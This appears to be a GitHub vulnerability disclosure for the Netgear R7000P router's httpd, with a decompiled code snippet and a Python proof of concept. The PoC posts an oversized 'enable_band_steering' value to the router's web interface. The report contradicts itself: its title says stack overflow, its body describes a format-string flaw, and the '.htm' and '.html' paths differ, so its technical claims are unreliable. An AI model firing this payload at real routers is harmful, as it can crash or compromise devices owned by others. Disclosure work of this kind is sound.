

RobinWang825 / **IoT_vuln** Public

Code

Issues 1

Pull requests

Actions

Projects

Security

Insights

main

IoT_vuln/Netgear/R7000P/6/

wangshi

...

Oct 25, 2022



..



images

Oct 25, 2022



readme.md

Oct 25, 2022



adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

1. product information: <https://www.netgear.com>
2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.1.64

Vulnerability

The stack overflow vulnerability is in /usr/sbin/httpd. The vulnerability occurs in the sub_5835C function, which can be accessed via the URL http://routerlogin.net/WLG_wireless_dual_band_r10.htm.

```

969 LABEL_305:
970     acosNvramConfig_set("wl_wps_config_state", "1");
971     acosNvramConfig_set("wl0_wps_config_state", "1");
972     acosNvramConfig_set("wl1_wps_config_state", "1");
973     acosNvramConfig_set("lan_wps_oob", "disabled");
974     sub_58314();
975     acosNvramConfig_set("fixed_region", "1");
976     sub_1A54C(a1, "enable_band_steering", v101, 2048);
977     if ( v101[0] )
978     {
979         printf("%s %s %d enable band steering = %s\n", "wirelessCgiMain", "cgi/wlgCgi.c", 2535, v101); vuln1
980         acosNvramConfig_set("enable_band_steering", "1");
981         acosNvramConfig_set("enable_smart_mesh", "0");
982         v90 = 0;
983     }
984     else
985     {
986         printf("%s %s %d enable band steering = %s\n", "wirelessCgiMain", "cgi/wlgCgi.c", 2543, v101); vuln2
987         acosNvramConfig_set("enable_band_steering", "0");
988         v90 = 1;
989     }
990     v91 = sync_band_steering_settings(v90);
991     acosNvramConfig_save(v91);

```

Parameter `enable_band_steering`, is controllable and will be formatted by `printf` for the print output. Users can control formatting instructions, and attackers can use this capability to expose or overwrite memory values and compromise program security.

PoC

```

import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'enable_band_steering=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

```

[Security](#)

[Status](#)

[Docs](#)

[Contact GitHub](#)

[Pricing](#)

[API](#)

[Training](#)

[Blog](#)

[About](#)